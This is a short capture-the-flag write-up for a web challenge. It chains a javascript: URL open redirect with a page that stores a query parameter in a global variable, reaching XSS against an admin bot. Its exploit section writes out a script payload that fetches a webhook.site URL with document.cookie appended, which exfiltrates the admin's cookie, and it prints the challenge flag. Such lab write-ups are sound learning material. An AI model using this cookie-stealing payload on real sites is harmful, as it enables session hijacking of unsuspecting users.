Xss Xss
From Text injection to open redirect using javascript: pseudo protocol for unrestricted XSS.
First major web solve since picoCTF.
Enumeration
Challenge consists of a flask web server and a html file.
Routes:
-
/visitTriggers admin bot to visit page inurl, given thaturlquery parameter must start with “http://localhost:5000”. -
/If request coming from127.0.0.1(ie, from admin bot), set the flag in the cookie.
Interesting html
- HTML stores the
namequeryParam not only in the html, but also in a global variable calledname - Open redirects to
urlqueryParam after 3 seconds, if it’s length is <= 15.
Exploit
Since everything in the name queryParam is stored in the name global variable, and open-redirected to url queryParam, we can construct a clever javascript: url liked javascript:name

Here,
url=url=javascript:namename=<script>alert(42)</script>
Do the same to the admin, by /visit. Instead of alert(), send document.cookie to webhooks.site url.
url=javascript:namename=<script>fetch("https://webhook.site/3d4588c3-7895-4491-bcc2-d176e9d84051/"+document.cookie")</script>
Get flag in webhook

Flag
NHNC{javascript:xssed!&xssed!=alert(/whale/)}
(Abridged) Source code
app.py:
PY
|
|
Index.html:
HTML
|
|